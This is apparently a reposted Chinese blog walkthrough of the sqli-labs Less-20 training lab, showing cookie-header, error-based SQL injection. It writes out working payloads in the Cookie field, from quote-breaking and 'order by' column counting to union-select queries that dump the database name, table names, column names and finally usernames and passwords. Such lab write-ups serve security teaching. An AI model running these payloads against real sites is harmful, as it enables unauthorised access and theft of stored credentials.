Less(20)POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)
Posted meng-yu37
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Less(20)POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)相关的知识,希望对你有一定的参考价值。
1.单引号,报错型,cookie型注入。
(1)登录后页面显示:
(2)查看一下php文件
可以看到查询语句查询cookee,那我们就在cookies里面进行注入
(3)抓包看一下:
看到cookie:uname=admin ,就可以以cookie注入了
(4)加单引号发现:
爆出语法错误,看得出来就是单引号型;
(5)接下来查一下行数
Cookie:uname=admin‘ order by 3 --+ //正常
Cookie:uname=admin‘ order by 4 --+ //不正常
2.爆破
(1)爆库:Cookie:uname=-admin‘ union select 1,2,database() --+
(2)爆表:Cookie:uname=-admin‘ union select 1,2,group_concat(table_name)from information_schema.tables where table_schema="security" --+
(3)爆列名:Cookie:uname=-admin‘ union select 1,2,group_concat(column_name)from information_schema.columns where table_name="users" --+
(4)爆值:Cookie:uname=-admin‘ union select 1,2,group_concat(username,0x7e,password)from security.users --+
以上是关于Less(20)POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)的主要内容,如果未能解决你的问题,请参考以下文章
sqli-labs less21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)
利用cookie进行SQL注入——看来还是人工注入要熟悉才行